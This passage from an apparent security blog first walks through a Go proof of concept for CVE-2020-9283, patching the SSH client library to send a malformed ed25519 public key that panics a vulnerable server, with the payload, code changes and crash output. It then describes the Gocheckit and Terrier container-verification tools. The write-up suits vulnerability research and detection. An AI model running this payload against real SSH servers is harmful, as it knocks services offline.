public keys and can cause an SSH server to panic, which results in a Denial of Service (DoS). Upon further investigation of this issue, it became apparent that this was a trivial issue to exploit and I found an example exploit in this repo which utilises Python and the Paramiko package to execute SSH commands.

The repo above provides a useful PoC which contains a Python script which triggers the panic and also provides a vulnerable Go SSH server and patched Go SSH server. After playing with the PoC a bit, I decided to replicate the exploit in Go. I decided this for multiple reasons, the main being I was curious as to how Go implemented the SSH protocol and a personal preference of not having to use Python.

After looking at Go's SSH library it was clear that there was no easy way to issue commands as the same way that the Paramiko library does. For example, to issue a SSH Service auth request using Paramiko you use the following:

...
m = paramiko.Message()
m.add_byte(cMSG_SERVICE_REQUEST)
...

The above snippet is not possible to replicate in Go and there's a few more requests that have to be made on the SSH protocol level such as the Auth_Request which occurs after the service request. I won't go into too much detail on the SSH protocol but I highly recommend reading RFC4252 which can be found here.

So to trigger the exploit using Go, we are required to do the following:

Issue a SSH_MSG_SERVICE_ACCEPT
Issue a SSH_MSG_USERAUTH_REQUEST
- Provide a malicious public key which is just a public key which is too short
- Provide a signature

In order to achieve this, we need to see how Go implements the SSH protocol and modify what is sent to the target server to ensure that our malicious public key is sent.

In this post, our payload aka Public Key is the following:

\x00\x00\x00\x0bssh-ed25519\x00\x00\x00\x15aaa-aaa-aa-aaa-aaaaa

however we will be working with the ASCII HEX representation in our Go code so it will look like this:

0000000b7373682d65643235353139000000156161612d616161612d61612d6161612d6161616161

There is no way in the Go library to just "send" this public key so what we can do is establish a SSH handshake on the transport layer and let Go send the auth requests but change the public key sent. This is what our Go code will look like which will invoke the Go SSH library:


func setupKeyAndDial(addr, user, keyfile string) *ssh.Client {
    key, err := ioutil.ReadFile(keyfile)
    if err != nil {
        fmt.Println("[ERROR]", err)
    }

    signer, err := ssh.ParsePrivateKey(key)
    if err != nil {
        fmt.Println("[ERROR]", err)
    }

    config := &ssh.ClientConfig{
        User: user,
        Auth: []ssh.AuthMethod{
            ssh.PublicKeys(signer),
        },
        HostKeyCallback: ssh.HostKeyCallback(func(hostname string, remote net.Addr, key ssh.PublicKey) error { return nil }),
    }
    return Dial("tcp", addr, config)
}

func Dial(network, addr string, config *ssh.ClientConfig) *ssh.Client {
    client, err := ssh.Dial(network, addr, config)
    if err != nil {
        panic(err)
    }
    return client
}

From the code above, you can see that our payload is not there and this is just regular Go code to create an SSH client. What we actually do is modify our local Go SSH package which is used by the code above. We start with modifying the files located on our host which can be found at:

/Users/user/go/pkg/mod/golang.org/x/crypto@v0.0.0-20200510223506-06a226fb4e37/ssh/***

After much digging around, I located the function which is responsible for performing the SSH auth request aka "SSH_MSG_USERAUTH_REQUEST". The file is client_auth.go and the function is located on line 214 on my version and has the following signature:

func (cb publicKeyCallback) auth(session []byte, user string, c packetConn, rand io.Reader) (authResult, []string, error) {

The following code snippet below was/is super useful to identify where and what functions are calling specific functions in Go code and you'll find this pasted throughout the code in the Github repo:

_, file, no, ok := runtime.Caller(1)
    if ok {
        fmt.Printf("[(client_auth.go)auth 212] called from %s#%d\n", file, no)
    }

The code above produces output to STDOUT when you run your compiled code, for example:

[(client_auth.go)auth 212] called from /Users/user/go/pkg/mod/golang.org/x/crypto@v0.0.0-20200510223506-06a226fb4e37/ssh/client_auth.go#58

Great stuff, now all we need to do is to ensure that instead of sending the public key we created in our Go code, we would like to send the malicious public key. In order to achieve this, we modify the function auth with the following changes:

sshPayload := "0000000b7373682d65643235353139000000156161612d616161612d61612d6161612d6161616161"
        sshPayloadBytes, err := hex.DecodeString(sshPayload)
        if err != nil {
            log.Fatal(err)
        }

        // manually wrap the serialized signature in a string
        s := Marshal(sign)
        sig := make([]byte, stringLength(len(s)))
        marshalString(sig, s)
        msg := publickeyAuthMsg{
            User:    user,
            Service: serviceSSH,
            Method:  cb.method(),
            HasSig:  true,
            // PubKey:   pubKey,
            PubKey: sshPayloadBytes,
            Sig:    sig,
        }

From the code above, we've made minimal changes, we've converted our ASCII HEX payload to a byte slice and then modified the struct "publickeyAuthMsg" to use our byte slice "sshPayloadBytes" instead of "pubKey" where "pubKey" is the legitimate public key.

And voila, we've made the required changes. We're now ready to invoke our Go code against a target server and see what happens. We can launch our exploit against the vulnerable server attached in the Github repo by doing the following:

./CVE-2020-9283 -h
Usage of ./CVE-2020-9283:
  -host string
        IP address of SSH host to target (default "localhost")
  -key string
        ssh-ed25519 private key to use (default "thekey")
  -port string
        Port to target (default "22")

# ./CVE-2020-9283 -port=2022
./CVE-2020-9283 -port=2022
+] Sploit for CVE-2020-9283
[+] Attempting to pwn: localhost:2022
[!] Attempting: cMSG_USERAUTH_REQUEST
[+] userAuthRequestMsg User:  notme
[+] userAuthRequestMsg Service:  ssh-connection
[ERROR] ssh: handshake failed: EOF
[+] This should have invoked a panic on the SSH target i.e 'panic: ed25519: bad public key length'

and on our server, we should see a panic which contains something like the following stack trace:

./target-vulnerable 
Vulnerable SSH server running on 0.0.0.0:2022
panic: ed25519: bad public key length: 21

goroutine 34 [running]:
crypto/ed25519.Verify(0xc000176050, 0x15, 0x6c, 0xc00009c200, 0x89, 0x100, 0xc00017607c, 0x40, 0x40, 0xc000110260)
        /usr/local/Cellar/go/1.13.1/libexec/src/crypto/ed25519/ed25519.go:175 +0x458
golang.org/x/crypto/ed25519.Verify(...)
        /Users/user/go/pkg/mod/golang.org/x/crypto@v0.0.0-20200219234226-1ad67e1f0ef4/ed25519/ed25519_go113.go:72
golang.org/x/crypto/ssh.ed25519PublicKey.Verify(0xc000176050, 0x15, 0x6c, 0xc00009c200, 0x89, 0x100, 0xc00008c080, 0x28, 0x7f)
        /Users/user/go/pkg/mod/golang.org/x/crypto@v0.0.0-20200219234226-1ad67e1f0ef4/ssh/keys.go:587 +0x1a0
golang.org/x/crypto/ssh.(*connection).serverAuthenticate(0xc0000fe200, 0xc0000c29c0, 0x11, 0x40, 0x0)
        /Users/user/go/pkg/mod/golang.org/x/crypto@v0.0.0-20200219234226-1ad67e1f0ef4/ssh/server.go:567 +0x160d
golang.org/x/crypto/ssh.(*connection).serverHandshake(0xc0000fe200, 0xc0000c29c0, 0x1207b70, 0x1b, 0x1391aa0)
        /Users/user/go/pkg/mod/golang.org/x/crypto@v0.0.0-20200219234226-1ad67e1f0ef4/ssh/server.go:277 +0x59f
golang.org/x/crypto/ssh.NewServerConn(0x1242140, 0xc0000bc018, 0xc0000c2820, 0x0, 0x0, 0x0, 0x0, 0x0)
        /Users/user/go/pkg/mod/golang.org/x/crypto@v0.0.0-20200219234226-1ad67e1f0ef4/ssh/server.go:206 +0x17f
main.handleConnection(0x1242140, 0xc0000bc018, 0xc0000c2820)
        /Users/user/go/src/github.com/mark-adams/exploits/CVE-2020-9283/target-vulnerable/main.go:43 +0x5a
created by main.main
        /Users/user/go/src/github.com/mark-adams/exploits/CVE-2020-9283/target-vulnerable/main.go:98 +0x23d

and there we go, we've got a Go based version to exploit this CVE. You can get the source code and precompiled binaries on my Github -> https://github.com/brompwnie/CVE-2020-9283.

Additionally, if you would like to detect if this attack has been launched against you (IOC's), you can search your logs for stack traces that contain bad key length errors.

References
1 https://skarlso.github.io/2019/02/17/go-ssh-with-host-key-verification/
2 https://bridge.grumpy-troll.org/2017/04/golang-ssh-security/
3 https://github.com/golang/crypto/blob/81e90905daefcd6fd217b62423c0908922eadb30/ssh/example_test.go#L143
4 https://www.iana.org/assignments/ssh-parameters/ssh-parameters.xml#ssh-parameters-1
5 https://pkg.go.dev/golang.org/x/crypto/ssh?tab=doc
6 https://github.com/golang/go/issues/8581
7 https://tools.ietf.org/html/rfc4252#section-5
8 https://github.com/golang/crypto/commit/bac4c82f69751a6dd76e702d54b3ceb88adab236
9 https://github.com/mark-adams/exploits/tree/master/CVE-2020-9283
10 https://github.com/brompwnie/CVE-2020-9283

Identifying Deprecated Go Modules with Gocheckit

Chris — Thu, 12 Mar 2020 22:25:51 +0000

Identifying Deprecated Go modules is not supported by default by the Go ecosystem so I created a small tool (Gocheckit) to help me identify potentially Deprecated modules for a Go project. You can find the tool and more info here on Github here https://github.com/brompwnie/gocheckit.

I'll probably write a proper post at a later point describing the tool and processes in more detail.

Terrier: An Open-Source Tool for Identifying and Analyzing Container and Image Components

Chris — Wed, 15 Jan 2020 16:00:00 +0000

As part of our Blackhat Europe talk “Reverse Engineering and Exploiting Builds in the Cloud” we publicly released a new tool called Terrier.

In this blog post, I am going to show you how Terrier can help you identify and verify container and image components for a wide variety of use-cases, be it from a supply-chain perspective or forensics perspective. Terrier can be found on Github https://github.com/heroku/terrier.

Containers and images

In this blog post, I am not going to go into too much detail about containers and images (you can learn more here) however it is important to highlight a few characteristics of containers and images that make them interesting in terms of Terrier. Containers are run from images and currently the Open Containers Initiative (OCI) is the most popular format for images. The remainder of this blog post refers to OCI images as images.

Essentially images are tar archives that container multiple tar archives and meta-information that represent the “layers” of an image. The OCI format of images makes images relatively simple to work with which makes analysis relatively simple. If you only had access to a terminal and the tar command, you could pretty much get what you need from the image’s tar archive.

When images are utilised at runtime for a container, their contents become the contents of the running container and the layers are essentially extracted to a location on the container’s runtime host. The container runtime host is the host that is running and maintaining the containers. This location is typically /var/lib/docker/overlay2/<containerID>/. This location contains a few folders of interest, particularly the "merged" folder. The "merged" folder contains the contents of the image and any changes that have occurred in the container since its creation. For example, if the image contained a location such as /usr/chris/stuff and after creating a container from this image I created a file called helloworld.txt at the location /usr/chris/stuff. This would result in the following valid path on the container runtime host /var/lib/docker/overlay2/<containerID>/merged/usr/chris/stuff/helloworld.txt.

What does Terrier do?

Now that we have a brief understanding of images and containers, we can look at what Terrier does. Often it is the case that you would like to determine if an image or container contains a specific file. This requirement may be due to a forensic analysis need or to identify and prevent a certain supply-chain attack vector. Regardless of the requirement, having the ability to determine the presence of a specific file in an image or container is useful.

Identifying files in OCI images

Terrier can be used to determine if a specific image contains a specific file. In order to do this, you need the following:

An OCI Image i.e TAR archive
A SHA256 hash of a specific file/s

The first point can be easily achieved with Docker by using the following command:

$ docker save imageid -o myImage.tar

The command above uses a Docker image ID which can be obtained using the following command:

$ docker images

Once you have your image exported as a tar archive, you will then need to establish the SHA256 hash of the particular file you would like to identify in the image. There are multiple ways to achieve this but in this example, we are going to use the hash of the Golang binary go1.13.4 linux/amd64 which can be achieved with following command on a Linux host:

$ cat /usr/local/go/bin/go | sha256sum

The command above should result in the following SHA256 hash: 82bce4b98d7aaeb4f841a36f7141d540bb049f89219f9e377245a91dd3ff92dd

Now that we have a hash, we can use this hash to determine if the Golang binary is in the image myImage.tar. To achieve this, we need to populate a configuration file for Terrier. Terrier makes use of YAML configuration files and below is our config file that we save as cfg.yml:

mode: image
image: myImage.tar

hashes:
    - hash: '82bce4b98d7aaeb4f841a36f7141d540bb049f89219f9e377245a91dd3ff92dd'

The config file above has multiple entries which allow us to specify the mode that Terrier will operate in and in this case, we are working with an image file (tar archive) so the mode is image. The image file we are working with is myImage.tar and the hash we are looking to identify is in the hashes list.

We are now ready to run Terrier and this can be done with the following command:

$ ./terrier

The command above should result in output similar to the following:

$ ./terrier 
[+] Loading config: cfg.yml
[+] Analysing Image
[+] Docker Image Source: myImage.tar
[*] Inspecting Layer: 34a9e0f17132202a82565578a3c2dae1486bb198cde76928c8c2c5c461e11ccf
[*] Inspecting Layer: 6539a80dd09da08132a525494ff97e92f4148d413e7c48b3583883fda8a40560
[*] Inspecting Layer: 6d2d61c78a65b6e6c82b751a38727da355d59194167b28b3f8def198cd116759
[!] Found file '6d2d61c78a65b6e6c82b751a38727da355d59194167b28b3f8def198cd116759/usr/local/go/bin/go' with hash: 82bce4b98d7aaeb4f841a36f7141d540bb049f89219f9e377245a91dd3ff92dd
[*] Inspecting Layer: a6e646c34d2d2c2f4ab7db95e4c9f128721f63c905f107887839d3256f1288e1
[*] Inspecting Layer: aefc8f0c87a14230e30e510915cbbe13ebcabd611e68db02b050b6ceccf9c545
[*] Inspecting Layer: d4468fff8d0f28d87d48f51fc0a6afd4b38946bbbe91480919ebfdd55e43ce8c
[*] Inspecting Layer: dbf9da5e4e5e1ecf9c71452f6b67b2b0225cec310a20891cc5dedbfd4ead667c

We have identified a file /usr/local/go/bin/go located at layer 6d2d61c78a65b6e6c82b751a38727da355d59194167b28b3f8def198cd116759 that has the same SHA256 hash as the one we provided. We now have verification that the image “myImage.tar” contains a file with the SHA256 hash we provided.

This example can be extended upon and you can instruct Terrier to search for multiple hashes. In this case, we are going to search for a malicious file. Recently a malicious Python library was identified in the wild and went by the name “Jeilyfish”. Terrier could be used to check if a Docker image of yours contained this malicious package. To do this, we can determine the SHA256 of one of the malicious Python files that contains the backdoor:

$ cat jeIlyfish-0.7.1/jeIlyfish/_jellyfish.py | sha256sum
cf734865dd344cd9b0b349cdcecd83f79a751150b5fd4926f976adddb93d902c

We then update our Terrier config to include the hash calculated above.

mode: image
image: myImage.tar

hashes:
    - hash: '82bce4b98d7aaeb4f841a36f7141d540bb049f89219f9e377245a91dd3ff92dd'
    - hash: 'cf734865dd344cd9b0b349cdcecd83f79a751150b5fd4926f976adddb93d902c'

We then run Terrier against and analyse the results:

$ ./terrier 
[+] Loading config: cfg.yml
[+] Analysing Image
[+] Docker Image Source: myImage.tar
[*] Inspecting Layer: 34a9e0f17132202a82565578a3c2dae1486bb198cde76928c8c2c5c461e11ccf
[*] Inspecting Layer: 6539a80dd09da08132a525494ff97e92f4148d413e7c48b3583883fda8a40560
[*] Inspecting Layer: 6d2d61c78a65b6e6c82b751a38727da355d59194167b28b3f8def198cd116759
[!] Found file '6d2d61c78a65b6e6c82b751a38727da355d59194167b28b3f8def198cd116759/usr/local/go/bin/go' with hash: 82bce4b98d7aaeb4f841a36f7141d540bb049f89219f9e377245a91dd3ff92dd
[*] Inspecting Layer: a6e646c34d2d2c2f4ab7db95e4c9f128721f63c905f107887839d3256f1288e1
[*] Inspecting Layer: aefc8f0c87a14230e30e510915cbbe13ebcabd611e68db02b050b6ceccf9c545
[*] Inspecting Layer: d4468fff8d0f28d87d48f51fc0a6afd4b38946bbbe91480919ebfdd55e43ce8c
[*] Inspecting Layer: dbf9da5e4e5e1ecf9c71452f6b67b2b0225cec310a20891cc5dedbfd4ead667c

The results above indicate that our image did not contain the malicious Python package.

There is no limit as to how many hashes you can search for however it should be noted that Terrier performs all its actions in-memory for performance reasons so you might hit certain limits if you do not have enough accessible memory.

Identifying and verifying specific files in OCI images

Terrier can also be used to determine if a specific image contains a specific file at a specific location. This can be useful to ensure that an image is using a specific component i.e binary, shared object or dependency. This can also be seen as “pinning” components by ensuring that you are images are using specific components i.e a specific version of cURL.

In order to do this, you need the following:

An OCI Image i.e TAR archive
A SHA256 hash of a specific file/s
The path and name of the specific file/s

The first point can be easily achieved with Docker by using the following command:

$ docker save imageid -o myImage.tar

The command above utilises a Docker image id which can be obtained using the following command:

$ docker images

Once you have your image exported as a tar archive, you will need to determine the path of the file you would like to identify and verify in the image. For example, if we would like to ensure that our images are making use of a specific version of cURL, we can run the following commands in a container or some other environment that resembles the image.

$ which curl
/usr/bin/curl

We now have the path to cURL and can now generate the SHA256 of this instance of cURL because in this case, we trust this instance of cURL. We could determine the hash by other means for example many binaries are released with a corresponding hash from the developer which can be acquired from the developer’s website.

$ cat /usr/bin/curl | sha256sum 
9a43cb726fef31f272333b236ff1fde4beab363af54d0bc99c304450065d9c96

With this information, we can now populate our config file for Terrier:

mode: image
image: myImage.tar
files:
  - name: '/usr/bin/curl'
    hashes:
      - hash: '9a43cb726fef31f272333b236ff1fde4beab363af54d0bc99c304450065d9c96'

We’ve saved the above config as cfg.yml and when we run Terrier with this config, we get the following output:

$ ./terrier
[+] Loading config: cfg.yml
[+] Analysing Image
[+] Docker Image Source: myImage.tar
[*] Inspecting Layer: 34a9e0f17132202a82565578a3c2dae1486bb198cde76928c8c2c5c461e11ccf
[*] Inspecting Layer: 34a9e0f17132202a82565578a3c2dae1486bb198cde76928c8c2c5c461e11ccf
[*] Inspecting Layer: 6539a80dd09da08132a525494ff97e92f4148d413e7c48b3583883fda8a40560
[*] Inspecting Layer: 6539a80dd09da08132a525494ff97e92f4148d413e7c48b3583883fda8a40560
[*] Inspecting Layer: 6d2d61c78a65b6e6c82b751a38727da355d59194167b28b3f8def198cd116759
[*] Inspecting Layer: 6d2d61c78a65b6e6c82b751a38727da355d59194167b28b3f8def198cd116759
[*] Inspecting Layer: a6e646c34d2d2c2f4ab7db95e4c9f128721f63c905f107887839d3256f1288e1
[*] Inspecting Layer: a6e646c34d2d2c2f4ab7db95e4c9f128721f63c905f107887839d3256f1288e1
[*] Inspecting Layer: aefc8f0c87a14230e30e510915cbbe13ebcabd611e68db02b050b6ceccf9c545
[*] Inspecting Layer: aefc8f0c87a14230e30e510915cbbe13ebcabd611e68db02b050b6ceccf9c545
[*] Inspecting Layer: d4468fff8d0f28d87d48f51fc0a6afd4b38946bbbe91480919ebfdd55e43ce8c
[*] Inspecting Layer: d4468fff8d0f28d87d48f51fc0a6afd4b38946bbbe91480919ebfdd55e43ce8c
[*] Inspecting Layer: dbf9da5e4e5e1ecf9c71452f6b67b2b0225cec310a20891cc5dedbfd4ead667c
[*] Inspecting Layer: dbf9da5e4e5e1ecf9c71452f6b67b2b0225cec310a20891cc5dedbfd4ead667c
[!] All components were identified: (1/1)
[!] All components were identified and verified: (1/1)
$ echo $?
0

The output above indicates that the file /usr/bin/curl was successfully identified and verified, meaning that the image contained a file at the location /usr/bin/curl and that the SHA256 of that file matched the hash we provided in the config. Terrier also makes use of return codes and if we analyse the return code from the output above, we can see that the value is 0 which indicates a success. If Terrier cannot identify or verify all the provided files, a return code of 1 is returned which indicates a failure. The setting of return codes is particularly useful in testing environments or CI/CD environments.

We can also run Terrier with verbose mode enable to get more information:

$ ./terrier 
[+] Loading config: cfg.yml
[+] Analysing Image
[+] Docker Image Source: myImage.tar
[*] Inspecting Layer: 34a9e0f17132202a82565578a3c2dae1486bb198cde76928c8c2c5c461e11ccf
[*] Inspecting Layer: 6539a80dd09da08132a525494ff97e92f4148d413e7c48b3583883fda8a40560
        [!] Identified instance of '/usr/bin/curl' at: 6539a80dd09da08132a525494ff97e92f4148d413e7c48b3583883fda8a40560/usr/bin/curl 
        [!] Verified matching instance of '/usr/bin/curl' at: 6539a80dd09da08132a525494ff97e92f4148d413e7c48b3583883fda8a40560/usr/bin/curl with hash: 9a43cb726fef31f272333b236ff1fde4beab363af54d0bc99c304450065d9c96
[*] Inspecting Layer: 6d2d61c78a65b6e6c82b751a38727da355d59194167b28b3f8def198cd116759
[*] Inspecting Layer: a6e646c34d2d2c2f4ab7db95e4c9f128721f63c905f107887839d3256f1288e1
[*] Inspecting Layer: aefc8f0c87a14230e30e510915cbbe13ebcabd611e68db02b050b6ceccf9c545
[*] Inspecting Layer: d4468fff8d0f28d87d48f51fc0a6afd4b38946bbbe91480919ebfdd55e43ce8c
[*] Inspecting Layer: dbf9da5e4e5e1ecf9c71452f6b67b2b0225cec310a20891cc5dedbfd4ead667c
[!] All components were identified: (1/1)
[!] All components were identified and verified: (1/1)

The output above provides some more detailed information such as which layer the cURL files was located at. If you wanted more information, you could enable the veryveryverbose option in the config file but beware, this is a lot of output and grep will be your friend.

There is no limit for how many hashes you can specify for a file. This can be useful for when you want to allow more than one version of a specific file i.e multiple versions of cURL. An example config of multiple hashes for a file might look like:

mode: image
image: myImage.tar
files:
  - name: '/usr/bin/curl'
    hashes:
      - hash: '9a43cb726fef31f272333b236ff1fde4beab363af54d0bc99c304450065d9c96'
      - hash: 'aefc8f0c87a14230e30e510915cbbe13ebcabd611e68db02b050b6ceccf9c545'
      - hash: '6d2d61c78a65b6e6c82b751a38727da355d59194167b28b3f8def198cd116759'
      - hash: 'd4468fff8d0f28d87d48f51fc0a6afd4b38946bbbe91480919ebfdd55e43ce8c'

The config above allows Terrier to verify if the identified cURL instance is one of the provided hashes. There is also no limit for the amount of files Terrier can attempt to identify and verify.

Terrier’s Github repo also contains a useful script called convertSHA.sh which can be used to convert a list of SHA256 hashes and filenames into a Terrier config file. This is useful when converting the output from other tools into a Terrier friendly format. For example, we could have the following contents of a file:

8946690bfe12308e253054ea658b1552c02b67445763439d1165c512c4bc240d ./bin/uname
6de8254cfd49543097ae946c303602ffd5899b2c88ec27cfcd86d786f95a1e92 ./bin/gzexe
74ff9700d623415bc866c013a1d8e898c2096ec4750adcb7cd0c853b4ce11c04 ./bin/wdctl
61c779de6f1b9220cdedd7dfee1fa4fb44a4777fff7bd48d12c21efb87009877 ./bin/dmesg
7bdde142dc5cb004ab82f55adba0c56fc78430a6f6b23afd33be491d4c7c238b ./bin/which
3ed46bd8b4d137cad2830974a78df8d6b1d28de491d7a23d305ad58742a07120 ./bin/mknod
e8ca998df296413624b2bcf92a31ee3b9852f7590f759cc4a8814d3e9046f1eb ./bin/mv
a91d40b349e2bccd3c5fe79664e70649ef0354b9f8bd4658f8c164f194b53d0f ./bin/chown
091abe52520c96a75cf7d4ff38796fc878cd62c3a75a3fd8161aa3df1e26bebd ./bin/uncompress
c5ebd611260a9057144fd1d7de48dbefc14e16240895cb896034ae05a94b5750 ./bin/echo
d4ba9ffb5f396a2584fec1ca878930b677196be21aee16ee6093eb9f0a93bf8f ./bin/df
5fb515ff832650b2a25aeb9c21f881ca2fa486900e736dfa727a5442a6de83e5 ./bin/tar
6936c9aa8e17781410f286bb1cbc35b5548ea4e7604c1379dc8e159d91a0193d ./bin/zforce
8d641329ea7f93b1caf031b70e2a0a3288c49a55c18d8ba86cc534eaa166ec2e ./bin/gzip
0c1a1f53763ab668fb085327cdd298b4a0c1bf2f0b51b912aa7bc15392cd09e7 ./bin/su
20c358f7ee877a3fd2138ecce98fada08354810b3e9a0e849631851f92d09cc4 ./bin/bzexe
01764d96697b060b2a449769073b7cf2df61b5cb604937e39dd7a47017e92ee0 ./bin/znew
0d1a106dc28c3c41b181d3ba2fc52086ede4e706153e22879e60e7663d2f6aad ./bin/login
fb130bda68f6a56e2c2edc3f7d5b805fd9dcfbcc26fb123a693b516a83cfb141 ./bin/dir
0e7ca63849eebc9ea476ea1fefab05e60b0ac8066f73c7d58e8ff607c941f212 ./bin/bzmore
14dc8106ec64c9e2a7c9430e1d0bef170aaad0f5f7f683c1c1810b466cdf5079 ./bin/zless
9cf4cda0f73875032436f7d5c457271f235e59c968c1c101d19fc7bf137e6e37 ./bin/chmod
c5f12f157b605b1141e6f97796732247a26150a0a019328d69095e9760b42e38 ./bin/sleep
b9711301d3ab42575597d8a1c015f49fddba9a7ea9934e11d38b9ff5248503a8 ./bin/zfgrep
0b2840eaf05bb6802400cc5fa793e8c7e58d6198334171c694a67417c687ffc7 ./bin/stty
d9393d0eca1de788628ad0961b74ec7a648709b24423371b208ae525f60bbdad ./bin/bunzip2
d2a56d64199e674454d2132679c0883779d43568cd4c04c14d0ea0e1307334cf ./bin/mkdir
1c48ade64b96409e6773d2c5c771f3b3c5acec65a15980d8dca6b1efd3f95969 ./bin/cat
09198e56abd1037352418279eb51898ab71cc733642b50bcf69d8a723602841e ./bin/true
97f3993ead63a1ce0f6a48cda92d6655ffe210242fe057b8803506b57c99b7bc ./bin/zdiff
0d06f9724af41b13cdacea133530b9129a48450230feef9632d53d5bbb837c8c ./bin/ls
da2da96324108bbe297a75e8ebfcb2400959bffcdaa4c88b797c4d0ce0c94c50 ./bin/zegrep

The file contents above are trusted SHA256 hashes for specific files. If we would like to use this list for ensuring that a particular image is making use of the files listed above, we can do the following:

$ ./convertSHA.sh trustedhashes.txt terrier.yml

The script above takes the input file trustedhashes.txt which contains our trusted hashes listed above and converts them into a Terrier friendly config file called terrier.yml which looks like the following:

mode: image
image: myImage.tar
files:
  - name: '/bin/uname'
    hashes:
       - hash: '8946690bfe12308e253054ea658b1552c02b67445763439d1165c512c4bc240d'
  - name: '/bin/gzexe'
    hashes:
       - hash: '6de8254cfd49543097ae946c303602ffd5899b2c88ec27cfcd86d786f95a1e92'
  - name: '/bin/wdctl'
    hashes:
       - hash: '74ff9700d623415bc866c013a1d8e898c2096ec4750adcb7cd0c853b4ce11c04'
  - name: '/bin/dmesg'
    hashes:
       - hash: '61c779de6f1b9220cdedd7dfee1fa4fb44a4777fff7bd48d12c21efb87009877'
  - name: '/bin/which'
    hashes:
       - hash: '7bdde142dc5cb004ab82f55adba0c56fc78430a6f6b23afd33be491d4c7c238b'
  - name: '/bin/mknod'

The config file terrier.yml is ready to be used:

$ ./terrier -cfg=terrier.yml
[+] Loading config: terrier.yml
[+] Analysing Image
[+] Docker Image Source: myImage.tar
[*] Inspecting Layer: 34a9e0f17132202a82565578a3c2dae1486bb198cde76928c8c2c5c461e11ccf
[*] Inspecting Layer: 6539a80dd09da08132a525494ff97e92f4148d413e7c48b3583883fda8a40560
[*] Inspecting Layer: 6d2d61c78a65b6e6c82b751a38727da355d59194167b28b3f8def198cd116759
[*] Inspecting Layer: a6e646c34d2d2c2f4ab7db95e4c9f128721f63c905f107887839d3256f1288e1
[*] Inspecting Layer: aefc8f0c87a14230e30e510915cbbe13ebcabd611e68db02b050b6ceccf9c545
[*] Inspecting Layer: d4468fff8d0f28d87d48f51fc0a6afd4b38946bbbe91480919ebfdd55e43ce8c
[*] Inspecting Layer: dbf9da5e4e5e1ecf9c71452f6b67b2b0225cec310a20891cc5dedbfd4ead667c
[!] Not all components were identifed: (4/31)
[!] Component not identified: /bin/uncompress
[!] Component not identified: /bin/bzexe
[!] Component not identified: /bin/bzmore
[!] Component not identified: /bin/bunzip2
$ echo $?
1

As we can see from the output above, Terrier was unable to identify 4/31 of the components provided in the config. The return code is also 1 which indicates a failure. If we were to remove the components that are not in the provided image, the output from the previous command would look like the following:

$ ./terrier -cfg=terrier.yml
[+] Loading config: terrier.yml
[+] Analysing Image
[+] Docker Image Source: myImage.tar
[*] Inspecting Layer: 34a9e0f17132202a82565578a3c2dae1486bb198cde76928c8c2c5c461e11ccf
[*] Inspecting Layer: 6539a80dd09da08132a525494ff97e92f4148d413e7c48b3583883fda8a40560
[*] Inspecting Layer: 6d2d61c78a65b6e6c82b751a38727da355d59194167b28b3f8def198cd116759
[*] Inspecting Layer: a6e646c34d2d2c2f4ab7db95e4c9f128721f63c905f107887839d3256f1288e1
[*] Inspecting Layer: aefc8f0c87a14230e30e510915cbbe13ebcabd611e68db02b050b6ceccf9c545
[*] Inspecting Layer: d4468fff8d0f28d87d48f51fc0a6afd4b38946bbbe91480919ebfdd55e43ce8c
[*] Inspecting Layer: dbf9da5e4e5e1ecf9c71452f6b67b2b0225cec310a20891cc5dedbfd4ead667c
[!] All components were identified: (27/27)
[!] Not all components were verified: (26/27)
[!] Component not verified: /bin/cat
[!] Component not verified: /bin/chmod
[!] Component not verified: /bin/chown
[!] Component not verified: /bin/df
[!] Component not verified: /bin/dir
[!] Component not verified: /bin/dmesg
[!] Component not verified: /bin/echo
[!] Component not verified: /bin/gzexe
[!] Component not verified: /bin/gzip
[!] Component not verified: /bin/login
[!] Component not verified: /bin/ls
[!] Component not verified: /bin/mkdir
[!] Component not verified: /bin/mknod
[!] Component not verified: /bin/mv
[!] Component not verified: /bin/sleep
[!] Component not verified: /bin/stty
[!] Component not verified: /bin/su
[!] Component not verified: /bin/tar
[!] Component not verified: /bin/true
[!] Component not verified: /bin/uname
[!] Component not verified: /bin/wdctl
[!] Component not verified: /bin/zdiff
[!] Component not verified: /bin/zfgrep
[!] Component not verified: /bin/zforce
[!] Component not verified: /bin/zless
[!] Component not verified: /bin/znew
$ echo $?
1

The output above indicates that Terrier was able to identify all the components provided but many were not verifiable, the hashes did not match and once again, the return code is 1 to indicate this failure.

Identifying files in containers

The previous sections focused on identifying files in images, which can be referred to as a form of “static analysis,” however it is also possible to perform this analysis to running containers. In order to do this, you need the following:

Location of the container’s merged folder
A SHA256 hash of a specific file/s

The merged folder is Docker specific, in this case, we are using it because this is where the contents of the Docker container reside, this might be another location if it were LXC.

The location of the container’s merged folder can be determined by running the following commands. First obtain the container’s ID:

$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
b9e676fd7b09 golang "bash" 20 hours ago Up 20 hours cocky_robinson

Once you have the container’s ID, you can run the following command which will help you identify the location of the container’s merged folder on the underlying host.

$ docker exec b9e676fd7b09 mount | grep diff
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/7ZDEFE6PX4C3I3LGIGGI5MWQD4:
/var/lib/docker/overlay2/l/EZNIFFIXOVO2GIT5PTBI754HC4:/var/lib/docker/overlay2/l/UWKXP76FVZULHGRKZMVYJHY5IK:
/var/lib/docker/overlay2/l/DTQQUTRXU4ZLLQTMACWMJYNRTH:/var/lib/docker/overlay2/l/R6DE2RY63EJABTON6HVSFRFICC:
/var/lib/docker/overlay2/l/U4JNTFLQEKMFHVEQJ5BQDLL7NO:/var/lib/docker/overlay2/l/FEBURQY25XGHJNPSFY5EEPCFKA:
/var/lib/docker/overlay2/l/ICNMAZ44JY5WZQTFMYY4VV6OOZ,
upperdir=/var/lib/docker/overlay2/04f84ddd30a7df7cd3f8b1edeb4fb89d476ed84cf3f76d367e4ebf22cd1978a4/diff,
workdir=/var/lib/docker/overlay2/04f84ddd30a7df7cd3f8b1edeb4fb89d476ed84cf3f76d367e4ebf22cd1978a4/work)

From the results above, we are interested in two entries, upperdir and workdir because these two entries will provide us with the path to the container’s merged folder. From the results above, we can determine that the container’s merged directory is located at /var/lib/docker/overlay2/04f84ddd30a7df7cd3f8b1edeb4fb89d476ed84cf3f76d367e4ebf22cd1978a4/ on the underlying host.

Now that we have the location, we need some files to identify and in this case, we are going to reuse the SHA256 hashes from the previous section. Let’s now go ahead and populate our Terrier configuration with this new information.

mode: container
path: merged
#image: myImage.tar

hashes:
    - hash: '82bce4b98d7aaeb4f841a36f7141d540bb049f89219f9e377245a91dd3ff92dd'
